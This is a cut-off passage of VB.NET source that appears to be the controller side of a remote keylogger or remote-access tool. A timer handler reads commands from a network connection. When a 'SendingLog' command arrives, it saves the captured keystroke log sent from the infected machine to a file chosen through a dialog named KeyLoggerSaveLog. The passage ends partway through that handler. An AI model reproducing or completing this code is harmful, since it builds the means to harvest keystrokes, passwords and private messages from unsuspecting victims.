Private Sub TimerDataArrival_Tick(ByVal sender As System.Object, ByVal e As _
  System.EventArgs) Handles TimerDataArrival.Tick
        If Server_Connected = True Then
            TimerConnectionAccept.Enabled = False
            If networkStream.DataAvailable = True Then
                Try
                    Dim AsciiByteArray(ClientVerbindung.ReceiveBufferSize) As _
                      Byte
                    networkStream.Read(AsciiByteArray, 0, _
                    ClientVerbindung.ReceiveBufferSize)
 
                    Dim EncodedByteArray As String = Encoding.GetEncoding( _
                      28591).GetString(AsciiByteArray)
                    Dim EncodedArray() As String = Split(EncodedByteArray, _
                    "*|*")
                    Dim command1 As String = EncodedArray(0)
 
                    Select Case command1
                        Case "SendingLog"
                            Dim Log() As String
                            Log = Split(EncodedArray(1), vbLf)
                            If KeyLoggerSaveLog.ShowDialog = DialogResult.OK _
                              Then
                                If Server_Connected = True Then
                                    Dim StreamWriter As New StreamWriter( _
                                      KeyLoggerSaveLog.FileName)
                                    For Each Zeile As String In Log
                                        StreamWriter.WriteLine(Zeile)
                                    Next
                                    StreamWriter.Dispose()
                                    StreamWriter.Close()
                                    KeyLoggerSaveLog.Dispose()
                                    KeyLoggerSaveLog.Reset()
                                End If
                            End If
 
                    End Select